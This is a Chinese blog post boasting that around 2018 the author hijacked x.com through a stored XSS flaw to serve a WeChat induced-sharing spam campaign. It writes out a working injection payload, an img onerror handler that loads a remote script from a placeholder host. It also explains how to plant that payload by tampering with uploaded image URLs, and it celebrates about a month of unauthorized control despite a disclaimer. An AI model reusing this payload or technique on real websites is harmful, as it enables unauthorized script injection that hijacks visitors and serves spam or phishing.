从草原到代码世界:技术、生活与思考的跨界之旅

一个放羊娃的代码与人生

人生高光:我是如何黑了马斯克的x.com

发布于 # 码上牧云

免责声明:本文仅为技术研究和安全教育用途,基于2018年的技术背景和假设场景。未经授权的攻击是非法的,请遵守法律和道德规范。

如今,https://x.com 是属于埃隆·马斯克的庞大帝国入口,一个价值数百亿的符号。但在2018年,它还是一个普通的不能再普通的简单网页,没有重定向,没有复杂的脚本,只有几行朴素的HTML和一个表单.

2018年的时候,我还在为一家公司构建一个微信公众号的诱导分享系统,那些年是微信生态”野蛮生长”的特定时期,核心功能大概归为以下几类:

1.利益诱导

2.技术伪装与规避

我是如何黑了 x.com

前几个月的时候使用的分享域名和落地域名还都是公司自己买的,不过一个诱导分享链接启动之后一般持续4-5天之后就会将分享域名封禁,分享域名是入口域名,被封禁之后则宣告活动结束

将分享域名换成权重比较高的域名则坚持的时间更久,x.com 就进入了我们的视野,当时的x.com只不过是一个简简单单的静态html表单,样子如下图:

图片

通过使用 储存型XSS 注入脚本实现以下功能:

如何实现?

只要该网站有表单,提交内容之后会被存储下来并且显示到网页中,并且前端在渲染时,内容未经过 htmlspecialchars 或类似函数处理,都有被xss入侵的可能。

还有一种更隐秘的方式有利用上传图片的漏洞,一些网站使用表单上传图片之后,会将图片的url再传回前端放入表单里,提交整个表单的时候再一并提交过去。

这个时候使用浏览器工具直接修改表单内图片url的值,例如:

" onerror=var s=document.createElement(script);s.src=//xxxx.com/xxxx.js;document.head.appendChild(s); alt="

这串代码如果被储存为某个图片的URL,并且在前端渲染之后则会变成下面这样:

<img src="" onerror=var s=document.createElement(script);s.src=//xxxx.com/xxxx.js;document.head.appendChild(s); alt="">

当一个img标签加载不出src路径的图片时,则会执行onerror里的脚本内容,此时XSS注入已成。

当用户访问某个x.com的url时,例如 https://x.com/xxxx/xxxxx?own=1 时,网页中展现的或执行的任何操作都已是另外的内容了。

后话

下图是当时在x.com上注入了百度统计的js代码所统计的流量,这个脆弱的入口,让我们的脚本在 x.com 的疆域里驰骋了将近一个月。最终,它的守护者发现了这片区域的异常,并悄然修补了边界。自此,我们的注入之路,宣告终结

图片